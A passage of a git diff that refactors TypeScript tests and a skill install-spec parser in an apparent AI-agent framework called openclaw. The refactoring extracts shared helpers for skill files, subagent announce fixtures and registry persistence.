return buildWorkspaceSkillsPrompt(workspaceDir, {
|
||||
managedSkillsDir: managedDir,
|
||||
bundledSkillsDir: bundledDir,
|
||||
});
|
||||
}
|
||||
|
||||
async function createWorkspaceSkillDirs() {
|
||||
const workspaceDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-"));
|
||||
return {
|
||||
workspaceDir,
|
||||
managedDir: path.join(workspaceDir, ".managed"),
|
||||
bundledDir: path.join(workspaceDir, ".bundled"),
|
||||
};
|
||||
}
|
||||
|
||||
describe("buildWorkspaceSkillsPrompt — .agents/skills/ directories", () => {
|
||||
let fakeHome: string;
|
||||
|
||||
@@ -38,9 +54,7 @@ describe("buildWorkspaceSkillsPrompt — .agents/skills/ directories", () => {
|
||||
});
|
||||
|
||||
it("loads project .agents/skills/ above managed and below workspace", async () => {
|
||||
const workspaceDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-"));
|
||||
const managedDir = path.join(workspaceDir, ".managed");
|
||||
const bundledDir = path.join(workspaceDir, ".bundled");
|
||||
const { workspaceDir, managedDir, bundledDir } = await createWorkspaceSkillDirs();
|
||||
|
||||
await writeSkill({
|
||||
dir: path.join(managedDir, "shared-skill"),
|
||||
@@ -54,10 +68,7 @@ describe("buildWorkspaceSkillsPrompt — .agents/skills/ directories", () => {
|
||||
});
|
||||
|
||||
// project .agents/skills/ wins over managed
|
||||
const prompt1 = buildWorkspaceSkillsPrompt(workspaceDir, {
|
||||
managedSkillsDir: managedDir,
|
||||
bundledSkillsDir: bundledDir,
|
||||
});
|
||||
const prompt1 = buildSkillsPrompt(workspaceDir, managedDir, bundledDir);
|
||||
expect(prompt1).toContain("Project agents version");
|
||||
expect(prompt1).not.toContain("Managed version");
|
||||
|
||||
@@ -68,18 +79,13 @@ describe("buildWorkspaceSkillsPrompt — .agents/skills/ directories", () => {
|
||||
description: "Workspace version",
|
||||
});
|
||||
|
||||
const prompt2 = buildWorkspaceSkillsPrompt(workspaceDir, {
|
||||
managedSkillsDir: managedDir,
|
||||
bundledSkillsDir: bundledDir,
|
||||
});
|
||||
const prompt2 = buildSkillsPrompt(workspaceDir, managedDir, bundledDir);
|
||||
expect(prompt2).toContain("Workspace version");
|
||||
expect(prompt2).not.toContain("Project agents version");
|
||||
});
|
||||
|
||||
it("loads personal ~/.agents/skills/ above managed and below project .agents/skills/", async () => {
|
||||
const workspaceDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-"));
|
||||
const managedDir = path.join(workspaceDir, ".managed");
|
||||
const bundledDir = path.join(workspaceDir, ".bundled");
|
||||
const { workspaceDir, managedDir, bundledDir } = await createWorkspaceSkillDirs();
|
||||
|
||||
await writeSkill({
|
||||
dir: path.join(managedDir, "shared-skill"),
|
||||
@@ -93,10 +99,7 @@ describe("buildWorkspaceSkillsPrompt — .agents/skills/ directories", () => {
|
||||
});
|
||||
|
||||
// personal wins over managed
|
||||
const prompt1 = buildWorkspaceSkillsPrompt(workspaceDir, {
|
||||
managedSkillsDir: managedDir,
|
||||
bundledSkillsDir: bundledDir,
|
||||
});
|
||||
const prompt1 = buildSkillsPrompt(workspaceDir, managedDir, bundledDir);
|
||||
expect(prompt1).toContain("Personal agents version");
|
||||
expect(prompt1).not.toContain("Managed version");
|
||||
|
||||
@@ -107,18 +110,13 @@ describe("buildWorkspaceSkillsPrompt — .agents/skills/ directories", () => {
|
||||
description: "Project agents version",
|
||||
});
|
||||
|
||||
const prompt2 = buildWorkspaceSkillsPrompt(workspaceDir, {
|
||||
managedSkillsDir: managedDir,
|
||||
bundledSkillsDir: bundledDir,
|
||||
});
|
||||
const prompt2 = buildSkillsPrompt(workspaceDir, managedDir, bundledDir);
|
||||
expect(prompt2).toContain("Project agents version");
|
||||
expect(prompt2).not.toContain("Personal agents version");
|
||||
});
|
||||
|
||||
it("loads unique skills from all .agents/skills/ sources alongside others", async () => {
|
||||
const workspaceDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-"));
|
||||
const managedDir = path.join(workspaceDir, ".managed");
|
||||
const bundledDir = path.join(workspaceDir, ".bundled");
|
||||
const { workspaceDir, managedDir, bundledDir } = await createWorkspaceSkillDirs();
|
||||
|
||||
await writeSkill({
|
||||
dir: path.join(managedDir, "managed-only"),
|
||||
@@ -141,10 +139,7 @@ describe("buildWorkspaceSkillsPrompt — .agents/skills/ directories", () => {
|
||||
description: "Workspace only skill",
|
||||
});
|
||||
|
||||
const prompt = buildWorkspaceSkillsPrompt(workspaceDir, {
|
||||
managedSkillsDir: managedDir,
|
||||
bundledSkillsDir: bundledDir,
|
||||
});
|
||||
const prompt = buildSkillsPrompt(workspaceDir, managedDir, bundledDir);
|
||||
expect(prompt).toContain("managed-only");
|
||||
expect(prompt).toContain("personal-only");
|
||||
expect(prompt).toContain("project-only");
|
||||
|
||||
@@ -2,30 +2,9 @@ import fs from "node:fs/promises";
|
||||
import os from "node:os";
|
||||
import path from "node:path";
|
||||
import { describe, expect, it } from "vitest";
|
||||
import { writeSkill } from "./skills.e2e-test-helpers.js";
|
||||
import { buildWorkspaceSkillsPrompt, syncSkillsToWorkspace } from "./skills.js";
|
||||
|
||||
async function writeSkill(params: {
|
||||
dir: string;
|
||||
name: string;
|
||||
description: string;
|
||||
metadata?: string;
|
||||
body?: string;
|
||||
}) {
|
||||
const { dir, name, description, metadata, body } = params;
|
||||
await fs.mkdir(dir, { recursive: true });
|
||||
await fs.writeFile(
|
||||
path.join(dir, "SKILL.md"),
|
||||
`---
|
||||
name: ${name}
|
||||
description: ${description}${metadata ? `\nmetadata: ${metadata}` : ""}
|
||||
---
|
||||
|
||||
${body ?? `# ${name}\n`}
|
||||
`,
|
||||
"utf-8",
|
||||
);
|
||||
}
|
||||
|
||||
async function pathExists(filePath: string): Promise<boolean> {
|
||||
try {
|
||||
await fs.access(filePath);
|
||||
|
||||
@@ -3,28 +3,7 @@ import os from "node:os";
|
||||
import path from "node:path";
|
||||
import { describe, expect, it } from "vitest";
|
||||
import { buildWorkspaceSkillStatus } from "./skills-status.js";
|
||||
|
||||
async function writeSkill(params: {
|
||||
dir: string;
|
||||
name: string;
|
||||
description: string;
|
||||
metadata?: string;
|
||||
body?: string;
|
||||
}) {
|
||||
const { dir, name, description, metadata, body } = params;
|
||||
await fs.mkdir(dir, { recursive: true });
|
||||
await fs.writeFile(
|
||||
path.join(dir, "SKILL.md"),
|
||||
`---
|
||||
name: ${name}
|
||||
description: ${description}${metadata ? `\nmetadata: ${metadata}` : ""}
|
||||
---
|
||||
|
||||
${body ?? `# ${name}\n`}
|
||||
`,
|
||||
"utf-8",
|
||||
);
|
||||
}
|
||||
import { writeSkill } from "./skills.e2e-test-helpers.js";
|
||||
|
||||
describe("buildWorkspaceSkillStatus", () => {
|
||||
it("reports missing requirements and install options", async () => {
|
||||
|
||||
@@ -4,28 +4,6 @@ import path from "node:path";
|
||||
import { describe, expect, it } from "vitest";
|
||||
import { loadWorkspaceSkillEntries } from "./skills.js";
|
||||
|
||||
async function _writeSkill(params: {
|
||||
dir: string;
|
||||
name: string;
|
||||
description: string;
|
||||
metadata?: string;
|
||||
body?: string;
|
||||
}) {
|
||||
const { dir, name, description, metadata, body } = params;
|
||||
await fs.mkdir(dir, { recursive: true });
|
||||
await fs.writeFile(
|
||||
path.join(dir, "SKILL.md"),
|
||||
`---
|
||||
name: ${name}
|
||||
description: ${description}${metadata ? `\nmetadata: ${metadata}` : ""}
|
||||
---
|
||||
|
||||
${body ?? `# ${name}\n`}
|
||||
`,
|
||||
"utf-8",
|
||||
);
|
||||
}
|
||||
|
||||
async function setupWorkspaceWithProsePlugin() {
|
||||
const workspaceDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-"));
|
||||
const managedDir = path.join(workspaceDir, ".managed");
|
||||
|
||||
@@ -1,30 +1,6 @@
|
||||
import fs from "node:fs/promises";
|
||||
import path from "node:path";
|
||||
import { describe, expect, it } from "vitest";
|
||||
import { resolveSkillsPromptForRun } from "./skills.js";
|
||||
|
||||
async function _writeSkill(params: {
|
||||
dir: string;
|
||||
name: string;
|
||||
description: string;
|
||||
metadata?: string;
|
||||
body?: string;
|
||||
}) {
|
||||
const { dir, name, description, metadata, body } = params;
|
||||
await fs.mkdir(dir, { recursive: true });
|
||||
await fs.writeFile(
|
||||
path.join(dir, "SKILL.md"),
|
||||
`---
|
||||
name: ${name}
|
||||
description: ${description}${metadata ? `\nmetadata: ${metadata}` : ""}
|
||||
---
|
||||
|
||||
${body ?? `# ${name}\n`}
|
||||
`,
|
||||
"utf-8",
|
||||
);
|
||||
}
|
||||
|
||||
describe("resolveSkillsPromptForRun", () => {
|
||||
it("prefers snapshot prompt when available", () => {
|
||||
const prompt = resolveSkillsPromptForRun({
|
||||
|
||||
@@ -10,6 +10,7 @@ import { parseFrontmatterBlock } from "../../markdown/frontmatter.js";
|
||||
import {
|
||||
getFrontmatterString,
|
||||
normalizeStringList,
|
||||
parseOpenClawManifestInstallBase,
|
||||
parseFrontmatterBool,
|
||||
resolveOpenClawManifestBlock,
|
||||
resolveOpenClawManifestInstall,
|
||||
@@ -22,30 +23,23 @@ export function parseFrontmatter(content: string): ParsedSkillFrontmatter {
|
||||
}
|
||||
|
||||
function parseInstallSpec(input: unknown): SkillInstallSpec | undefined {
|
||||
if (!input || typeof input !== "object") {
|
||||
const parsed = parseOpenClawManifestInstallBase(input, ["brew", "node", "go", "uv", "download"]);
|
||||
if (!parsed) {
|
||||
return undefined;
|
||||
}
|
||||
const raw = input as Record<string, unknown>;
|
||||
const kindRaw =
|
||||
typeof raw.kind === "string" ? raw.kind : typeof raw.type === "string" ? raw.type : "";
|
||||
const kind = kindRaw.trim().toLowerCase();
|
||||
if (kind !== "brew" && kind !== "node" && kind !== "go" && kind !== "uv" && kind !== "download") {
|
||||
return undefined;
|
||||
}
|
||||
|
||||
const { raw } = parsed;
|
||||
const spec: SkillInstallSpec = {
|
||||
kind: kind,
|
||||
kind: parsed.kind as SkillInstallSpec["kind"],
|
||||
};
|
||||
|
||||
if (typeof raw.id === "string") {
|
||||
spec.id = raw.id;
|
||||
if (parsed.id) {
|
||||
spec.id = parsed.id;
|
||||
}
|
||||
if (typeof raw.label === "string") {
|
||||
spec.label = raw.label;
|
||||
if (parsed.label) {
|
||||
spec.label = parsed.label;
|
||||
}
|
||||
const bins = normalizeStringList(raw.bins);
|
||||
if (bins.length > 0) {
|
||||
spec.bins = bins;
|
||||
if (parsed.bins) {
|
||||
spec.bins = parsed.bins;
|
||||
}
|
||||
const osList = normalizeStringList(raw.os);
|
||||
if (osList.length > 0) {
|
||||
|
||||
@@ -22,6 +22,21 @@ let configOverride: ReturnType<(typeof import("../config/config.js"))["loadConfi
|
||||
scope: "per-sender",
|
||||
},
|
||||
};
|
||||
const defaultOutcomeAnnounce = {
|
||||
task: "do thing",
|
||||
timeoutMs: 1000,
|
||||
cleanup: "keep" as const,
|
||||
waitForCompletion: false,
|
||||
startedAt: 10,
|
||||
endedAt: 20,
|
||||
outcome: { status: "ok" } as const,
|
||||
};
|
||||
|
||||
async function getSingleAgentCallParams() {
|
||||
await expect.poll(() => agentSpy.mock.calls.length).toBe(1);
|
||||
const call = agentSpy.mock.calls[0]?.[0] as { params?: Record<string, unknown> };
|
||||
return call?.params ?? {};
|
||||
}
|
||||
|
||||
function loadSessionStoreFixture(): Record<string, Record<string, unknown>> {
|
||||
return new Proxy(sessionStore, {
|
||||
@@ -150,13 +165,7 @@ describe("subagent announce formatting", () => {
|
||||
childRunId: "run-456",
|
||||
requesterSessionKey: "agent:main:main",
|
||||
requesterDisplayKey: "main",
|
||||
task: "do thing",
|
||||
timeoutMs: 1000,
|
||||
cleanup: "keep",
|
||||
waitForCompletion: false,
|
||||
startedAt: 10,
|
||||
endedAt: 20,
|
||||
outcome: { status: "ok" },
|
||||
...defaultOutcomeAnnounce,
|
||||
});
|
||||
|
||||
const call = agentSpy.mock.calls[0]?.[0] as { params?: { message?: string } };
|
||||
@@ -171,13 +180,7 @@ describe("subagent announce formatting", () => {
|
||||
childRunId: "run-direct-idem",
|
||||
requesterSessionKey: "agent:main:main",
|
||||
requesterDisplayKey: "main",
|
||||
task: "do thing",
|
||||
timeoutMs: 1000,
|
||||
cleanup: "keep",
|
||||
waitForCompletion: false,
|
||||
startedAt: 10,
|
||||
endedAt: 20,
|
||||
outcome: { status: "ok" },
|
||||
...defaultOutcomeAnnounce,
|
||||
});
|
||||
|
||||
const call = agentSpy.mock.calls[0]?.[0] as { params?: Record<string, unknown> };
|
||||
@@ -205,13 +208,7 @@ describe("subagent announce formatting", () => {
|
||||
childRunId: "run-usage",
|
||||
requesterSessionKey: "agent:main:main",
|
||||
requesterDisplayKey: "main",
|
||||
task: "do thing",
|
||||
timeoutMs: 1000,
|
||||
cleanup: "keep",
|
||||
waitForCompletion: false,
|
||||
startedAt: 10,
|
||||
endedAt: 20,
|
||||
outcome: { status: "ok" },
|
||||
...defaultOutcomeAnnounce,
|
||||
});
|
||||
|
||||
const call = agentSpy.mock.calls[0]?.[0] as { params?: { message?: string } };
|
||||
@@ -248,13 +245,7 @@ describe("subagent announce formatting", () => {
|
||||
childRunId: "run-789",
|
||||
requesterSessionKey: "main",
|
||||
requesterDisplayKey: "main",
|
||||
task: "do thing",
|
||||
timeoutMs: 1000,
|
||||
cleanup: "keep",
|
||||
waitForCompletion: false,
|
||||
startedAt: 10,
|
||||
endedAt: 20,
|
||||
outcome: { status: "ok" },
|
||||
...defaultOutcomeAnnounce,
|
||||
});
|
||||
|
||||
expect(didAnnounce).toBe(true);
|
||||
@@ -285,22 +276,14 @@ describe("subagent announce formatting", () => {
|
||||
childRunId: "run-999",
|
||||
requesterSessionKey: "main",
|
||||
requesterDisplayKey: "main",
|
||||
task: "do thing",
|
||||
timeoutMs: 1000,
|
||||
cleanup: "keep",
|
||||
waitForCompletion: false,
|
||||
startedAt: 10,
|
||||
endedAt: 20,
|
||||
outcome: { status: "ok" },
|
||||
...defaultOutcomeAnnounce,
|
||||
});
|
||||
|
||||
expect(didAnnounce).toBe(true);
|
||||
await expect.poll(() => agentSpy.mock.calls.length).toBe(1);
|
||||
|
||||
const call = agentSpy.mock.calls[0]?.[0] as { params?: Record<string, unknown> };
|
||||
expect(call?.params?.channel).toBe("whatsapp");
|
||||
expect(call?.params?.to).toBe("+1555");
|
||||
expect(call?.params?.accountId).toBe("kev");
|
||||
const params = await getSingleAgentCallParams();
|
||||
expect(params.channel).toBe("whatsapp");
|
||||
expect(params.to).toBe("+1555");
|
||||
expect(params.accountId).toBe("kev");
|
||||
});
|
||||
|
||||
it("keeps queued idempotency unique for same-ms distinct child runs", async () => {
|
||||
@@ -376,13 +359,7 @@ describe("subagent announce formatting", () => {
|
||||
requesterSessionKey: "agent:main:subagent:orchestrator",
|
||||
requesterDisplayKey: "agent:main:subagent:orchestrator",
|
||||
requesterOrigin: { channel: "whatsapp", to: "+1555", accountId: "acct" },
|
||||
task: "do thing",
|
||||
timeoutMs: 1000,
|
||||
cleanup: "keep",
|
||||
waitForCompletion: false,
|
||||
startedAt: 10,
|
||||
endedAt: 20,
|
||||
outcome: { status: "ok" },
|
||||
...defaultOutcomeAnnounce,
|
||||
});
|
||||
|
||||
expect(didAnnounce).toBe(true);
|
||||
@@ -415,22 +392,14 @@ describe("subagent announce formatting", () => {
|
||||
childRunId: "run-thread",
|
||||
requesterSessionKey: "main",
|
||||
requesterDisplayKey: "main",
|
||||
task: "do thing",
|
||||
timeoutMs: 1000,
|
||||
cleanup: "keep",
|
||||
waitForCompletion: false,
|
||||
startedAt: 10,
|
||||
endedAt: 20,
|
||||
outcome: { status: "ok" },
|
||||
...defaultOutcomeAnnounce,
|
||||
});
|
||||
|
||||
expect(didAnnounce).toBe(true);
|
||||
await expect.poll(() => agentSpy.mock.calls.length).toBe(1);
|
||||
|
||||
const call = agentSpy.mock.calls[0]?.[0] as { params?: Record<string, unknown> };
|
||||
expect(call?.params?.channel).toBe("telegram");
|
||||
expect(call?.params?.to).toBe("telegram:123");
|
||||
expect(call?.params?.threadId).toBe("42");
|
||||
const params = await getSingleAgentCallParams();
|
||||
expect(params.channel).toBe("telegram");
|
||||
expect(params.to).toBe("telegram:123");
|
||||
expect(params.threadId).toBe("42");
|
||||
});
|
||||
|
||||
it("prefers requesterOrigin.threadId over session entry threadId", async () => {
|
||||
@@ -458,13 +427,7 @@ describe("subagent announce formatting", () => {
|
||||
to: "telegram:123",
|
||||
threadId: 99,
|
||||
},
|
||||
task: "do thing",
|
||||
timeoutMs: 1000,
|
||||
cleanup: "keep",
|
||||
waitForCompletion: false,
|
||||
startedAt: 10,
|
||||
endedAt: 20,
|
||||
outcome: { status: "ok" },
|
||||
...defaultOutcomeAnnounce,
|
||||
});
|
||||
|
||||
expect(didAnnounce).toBe(true);
|
||||
@@ -495,13 +458,7 @@ describe("subagent announce formatting", () => {
|
||||
requesterSessionKey: "main",
|
||||
requesterDisplayKey: "main",
|
||||
requesterOrigin: { accountId: "acct-a" },
|
||||
task: "do thing",
|
||||
timeoutMs: 1000,
|
||||
cleanup: "keep",
|
||||
waitForCompletion: false,
|
||||
startedAt: 10,
|
||||
endedAt: 20,
|
||||
outcome: { status: "ok" },
|
||||
...defaultOutcomeAnnounce,
|
||||
}),
|
||||
runSubagentAnnounceFlow({
|
||||
childSessionKey: "agent:main:subagent:test-b",
|
||||
@@ -509,13 +466,7 @@ describe("subagent announce formatting", () => {
|
||||
requesterSessionKey: "main",
|
||||
requesterDisplayKey: "main",
|
||||
requesterOrigin: { accountId: "acct-b" },
|
||||
task: "do thing",
|
||||
timeoutMs: 1000,
|
||||
cleanup: "keep",
|
||||
waitForCompletion: false,
|
||||
startedAt: 10,
|
||||
endedAt: 20,
|
||||
outcome: { status: "ok" },
|
||||
...defaultOutcomeAnnounce,
|
||||
}),
|
||||
]);
|
||||
|
||||
@@ -538,13 +489,7 @@ describe("subagent announce formatting", () => {
|
||||
requesterSessionKey: "agent:main:main",
|
||||
requesterOrigin: { channel: "whatsapp", accountId: "acct-123" },
|
||||
requesterDisplayKey: "main",
|
||||
task: "do thing",
|
||||
timeoutMs: 1000,
|
||||
cleanup: "keep",
|
||||
waitForCompletion: false,
|
||||
startedAt: 10,
|
||||
endedAt: 20,
|
||||
outcome: { status: "ok" },
|
||||
...defaultOutcomeAnnounce,
|
||||
});
|
||||
|
||||
expect(didAnnounce).toBe(true);
|
||||
@@ -568,13 +513,7 @@ describe("subagent announce formatting", () => {
|
||||
requesterSessionKey: "agent:main:subagent:orchestrator",
|
||||
requesterOrigin: { channel: "whatsapp", accountId: "acct-123", to: "+1555" },
|
||||
requesterDisplayKey: "agent:main:subagent:orchestrator",
|
||||
task: "do thing",
|
||||
timeoutMs: 1000,
|
||||
cleanup: "keep",
|
||||
waitForCompletion: false,
|
||||
startedAt: 10,
|
||||
endedAt: 20,
|
||||
outcome: { status: "ok" },
|
||||
...defaultOutcomeAnnounce,
|
||||
});
|
||||
|
||||
expect(didAnnounce).toBe(true);
|
||||
@@ -632,13 +571,7 @@ describe("subagent announce formatting", () => {
|
||||
childRunId: "run-child",
|
||||
requesterSessionKey: "agent:main:main",
|
||||
requesterDisplayKey: "main",
|
||||
task: "do thing",
|
||||
timeoutMs: 1000,
|
||||
cleanup: "keep",
|
||||
waitForCompletion: false,
|
||||
startedAt: 10,
|
||||
endedAt: 20,
|
||||
outcome: { status: "ok" },
|
||||
...defaultOutcomeAnnounce,
|
||||
});
|
||||
|
||||
const call = agentSpy.mock.calls[0]?.[0] as { params?: { message?: string } };
|
||||
@@ -661,13 +594,7 @@ describe("subagent announce formatting", () => {
|
||||
childRunId: "run-parent",
|
||||
requesterSessionKey: "agent:main:main",
|
||||
requesterDisplayKey: "main",
|
||||
task: "do thing",
|
||||
timeoutMs: 1000,
|
||||
cleanup: "keep",
|
||||
waitForCompletion: false,
|
||||
startedAt: 10,
|
||||
endedAt: 20,
|
||||
outcome: { status: "ok" },
|
||||
...defaultOutcomeAnnounce,
|
||||
});
|
||||
|
||||
expect(didAnnounce).toBe(false);
|
||||
@@ -687,13 +614,7 @@ describe("subagent announce formatting", () => {
|
||||
childRunId: "run-leaf",
|
||||
requesterSessionKey: "agent:main:subagent:orchestrator",
|
||||
requesterDisplayKey: "agent:main:subagent:orchestrator",
|
||||
task: "do thing",
|
||||
timeoutMs: 1000,
|
||||
cleanup: "keep",
|
||||
waitForCompletion: false,
|
||||
startedAt: 10,
|
||||
endedAt: 20,
|
||||
outcome: { status: "ok" },
|
||||
...defaultOutcomeAnnounce,
|
||||
});
|
||||
|
||||
expect(didAnnounce).toBe(true);
|
||||
@@ -771,13 +692,7 @@ describe("subagent announce formatting", () => {
|
||||
requesterSessionKey: "agent:main:main",
|
||||
requesterOrigin: { channel: " whatsapp ", accountId: " acct-987 " },
|
||||
requesterDisplayKey: "main",
|
||||
task: "do thing",
|
||||
timeoutMs: 1000,
|
||||
cleanup: "keep",
|
||||
waitForCompletion: false,
|
||||
startedAt: 10,
|
||||
endedAt: 20,
|
||||
outcome: { status: "ok" },
|
||||
...defaultOutcomeAnnounce,
|
||||
});
|
||||
|
||||
expect(didAnnounce).toBe(true);
|
||||
@@ -806,13 +721,7 @@ describe("subagent announce formatting", () => {
|
||||
requesterSessionKey: "main",
|
||||
requesterOrigin: { channel: "bluebubbles", to: "bluebubbles:chat_guid:123" },
|
||||
requesterDisplayKey: "main",
|
||||
task: "do thing",
|
||||
timeoutMs: 1000,
|
||||
cleanup: "keep",
|
||||
waitForCompletion: false,
|
||||
startedAt: 10,
|
||||
endedAt: 20,
|
||||
outcome: { status: "ok" },
|
||||
...defaultOutcomeAnnounce,
|
||||
});
|
||||
|
||||
expect(didAnnounce).toBe(true);
|
||||
|
||||
@@ -33,6 +33,43 @@ describe("subagent registry persistence", () => {
|
||||
const envSnapshot = captureEnv(["OPENCLAW_STATE_DIR"]);
|
||||
let tempStateDir: string | null = null;
|
||||
|
||||
const writePersistedRegistry = async (persisted: Record<string, unknown>) => {
|
||||
tempStateDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-subagent-"));
|
||||
process.env.OPENCLAW_STATE_DIR = tempStateDir;
|
||||
const registryPath = path.join(tempStateDir, "subagents", "runs.json");
|
||||
await fs.mkdir(path.dirname(registryPath), { recursive: true });
|
||||
await fs.writeFile(registryPath, `${JSON.stringify(persisted)}\n`, "utf8");
|
||||
return registryPath;
|
||||
};
|
||||
|
||||
const createPersistedEndedRun = (params: {
|
||||
runId: string;
|
||||
childSessionKey: string;
|
||||
task: string;
|
||||
cleanup: "keep" | "delete";
|
||||
}) => ({
|
||||
version: 2,
|
||||
runs: {
|
||||
[params.runId]: {
|
||||
runId: params.runId,
|
||||
childSessionKey: params.childSessionKey,
|
||||
requesterSessionKey: "agent:main:main",
|
||||
requesterDisplayKey: "main",
|
||||
task: params.task,
|
||||
cleanup: params.cleanup,
|
||||
createdAt: 1,
|
||||
startedAt: 1,
|
||||
endedAt: 2,
|
||||
},
|
||||
},
|
||||
});
|
||||
|
||||
const restartRegistryAndFlush = async () => {
|
||||
resetSubagentRegistryForTests({ persist: false });
|
||||
initSubagentRegistry();
|
||||
await new Promise((r) => setTimeout(r, 0));
|
||||
};
|
||||
|
||||
afterEach(async () => {
|
||||
announceSpy.mockClear();
|
||||
resetSubagentRegistryForTests({ persist: false });
|
||||
@@ -139,10 +176,6 @@ describe("subagent registry persistence", () => {
|
||||
});
|
||||
|
||||
it("maps legacy announce fields into cleanup state", async () => {
|
||||
tempStateDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-subagent-"));
|
||||
process.env.OPENCLAW_STATE_DIR = tempStateDir;
|
||||
|
||||
const registryPath = path.join(tempStateDir, "subagents", "runs.json");
|
||||
const persisted = {
|
||||
version: 1,
|
||||
runs: {
|
||||
@@ -163,8 +196,7 @@ describe("subagent registry persistence", () => {
|
||||
},
|
||||
},
|
||||
};
|
||||
await fs.mkdir(path.dirname(registryPath), { recursive: true });
|
||||
await fs.writeFile(registryPath, `${JSON.stringify(persisted)}\n`, "utf8");
|
||||
const registryPath = await writePersistedRegistry(persisted);
|
||||
|
||||
const runs = loadSubagentRegistryFromDisk();
|
||||
const entry = runs.get("run-legacy");
|
||||
@@ -178,33 +210,16 @@ describe("subagent registry persistence", () => {
|
||||
});
|
||||
|
||||
it("retries cleanup announce after a failed announce", async () => {
|
||||
tempStateDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-subagent-"));
|
||||
process.env.OPENCLAW_STATE_DIR = tempStateDir;
|
||||
|
||||
const registryPath = path.join(tempStateDir, "subagents", "runs.json");
|
||||
const persisted = {
|
||||
version: 2,
|
||||
runs: {
|
||||
"run-3": {
|
||||
runId: "run-3",
|
||||
childSessionKey: "agent:main:subagent:three",
|
||||
requesterSessionKey: "agent:main:main",
|
||||
requesterDisplayKey: "main",
|
||||
task: "retry announce",
|
||||
cleanup: "keep",
|
||||
createdAt: 1,
|
||||
startedAt: 1,
|
||||
endedAt: 2,
|
||||
},
|
||||
},
|
||||
};
|
||||
await fs.mkdir(path.dirname(registryPath), { recursive: true });
|
||||
await fs.writeFile(registryPath, `${JSON.stringify(persisted)}\n`, "utf8");
|
||||
const persisted = createPersistedEndedRun({
|
||||
runId: "run-3",
|
||||
childSessionKey: "agent:main:subagent:three",
|
||||
task: "retry announce",
|
||||
cleanup: "keep",
|
||||
});
|
||||
const registryPath = await writePersistedRegistry(persisted);
|
||||
|
||||
announceSpy.mockResolvedValueOnce(false);
|
||||
resetSubagentRegistryForTests({ persist: false });
|
||||
initSubagentRegistry();
|
||||
await new Promise((r) => setTimeout(r, 0));
|
||||
await restartRegistryAndFlush();
|
||||
|
||||
expect(announceSpy).toHaveBeenCalledTimes(1);
|
||||
const afterFirst = JSON.parse(await fs.readFile(registryPath, "utf8")) as {
|
||||
@@ -214,9 +229,7 @@ describe("subagent registry persistence", () => {
|
||||
expect(afterFirst.runs["run-3"].cleanupCompletedAt).toBeUndefined();
|
||||
|
||||
announceSpy.mockResolvedValueOnce(true);
|
||||
resetSubagentRegistryForTests({ persist: false });
|
||||
initSubagentRegistry();
|
||||
await new Promise((r) => setTimeout(r, 0));
|
||||
await restartRegistryAndFlush();
|
||||
|
||||
expect(announceSpy).toHaveBeenCalledTimes(2);
|
||||
const afterSecond = JSON.parse(await fs.readFile(registryPath, "utf8")) as {
|
||||
@@ -226,33 +239,16 @@ describe("subagent registry persistence", () => {
|
||||
});
|
||||
|
||||
it("keeps delete-mode runs retryable when announce is deferred", async () => {
|
||||
tempStateDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-subagent-"));
|
||||
process.env.OPENCLAW_STATE_DIR = tempStateDir;
|
||||
|
||||
const registryPath = path.join(tempStateDir, "subagents", "runs.json");
|
||||
const persisted = {
|
||||
version: 2,
|
||||
runs: {
|
||||
"run-4": {
|
||||
runId: "run-4",
|
||||
childSessionKey: "agent:main:subagent:four",
|
||||
requesterSessionKey: "agent:main:main",
|
||||
requesterDisplayKey: "main",
|
||||
task: "deferred announce",
|
||||
cleanup: "delete",
|
||||
createdAt: 1,
|
||||
startedAt: 1,
|
||||
endedAt: 2,
|
||||
},
|
||||
},
|
||||
};
|
||||
await fs.mkdir(path.dirname(registryPath), { recursive: true });
|
||||
await fs.writeFile(registryPath, `${JSON.stringify(persisted)}\n`, "utf8");
|
||||
const persisted = createPersistedEndedRun({
|
||||
runId: "run-4",
|
||||
childSessionKey: "agent:main:subagent:four",
|
||||
task: "deferred announce",
|
||||
cleanup: "delete",
|
||||
});
|
||||
const registryPath = await writePersistedRegistry(persisted);
|
||||
|
||||
announceSpy.mockResolvedValueOnce(false);
|
||||
resetSubagentRegistryForTests({ persist: false });
|
||||
initSubagentRegistry();
|
||||
await new Promise((r) => setTimeout(r, 0));
|
||||
await restartRegistryAndFlush();
|
||||
|
||||
expect(announceSpy).toHaveBeenCalledTimes(1);
|
||||
const afterFirst = JSON.parse(await fs.readFile(registryPath, "utf8")) as {
|
||||
@@ -261,9 +257,7 @@ describe("subagent registry persistence", () => {
|
||||
expect(afterFirst.runs["run-4"]?.cleanupHandled).toBe(false);
|
||||
|
||||
announceSpy.mockResolvedValueOnce(true);
|
||||
resetSubagentRegistryForTests({ persist: false });
|
||||
initSubagentRegistry();
|
||||
await new Promise((r) => setTimeout(r, 0));
|
||||
await restartRegistryAndFlush();
|
||||
|
||||
expect(announceSpy).toHaveBeenCalledTimes(2);
|
||||
const afterSecond = JSON.parse(await fs.readFile(registryPath, "utf8")) as {
|
||||
|
||||
@@ -5,6 +5,49 @@ import {
|
||||
sanitizeToolCallIdsForCloudCodeAssist,
|
||||
} from "./tool-call-id.js";
|
||||
|
||||
const buildDuplicateIdCollisionInput = () =>
|
||||
[
|
||||
{
|
||||
role: "assistant",
|
||||
content: [
|
||||
{ type: "toolCall", id: "call_a|b", name: "read", arguments: {} },
|
||||
{ type: "toolCall", id: "call_a:b", name: "read", arguments: {} },
|
||||
],
|
||||
},
|
||||
{
|
||||
role: "toolResult",
|
||||
toolCallId: "call_a|b",
|
||||
toolName: "read",
|
||||
content: [{ type: "text", text: "one" }],
|
||||
},
|
||||
{
|
||||
role: "toolResult",
|
||||
toolCallId: "call_a:b",
|
||||
toolName: "read",
|
||||
content: [{ type: "text", text: "two" }],
|
||||
},
|
||||
] satisfies AgentMessage[];
|
||||
|
||||
function expectCollisionIdsRemainDistinct(
|
||||
out: AgentMessage[],
|
||||
mode: "strict" | "strict9",
|
||||
): { aId: string; bId: string } {
|
||||
const assistant = out[0] as Extract<AgentMessage, { role: "assistant" }>;
|
||||
const a = assistant.content?.[0] as { id?: string };
|
||||
const b = assistant.content?.[1] as { id?: string };
|
